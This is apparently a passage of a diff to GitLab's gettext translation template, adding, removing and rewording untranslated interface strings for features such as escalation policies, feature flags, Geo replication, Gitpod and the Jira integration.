@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
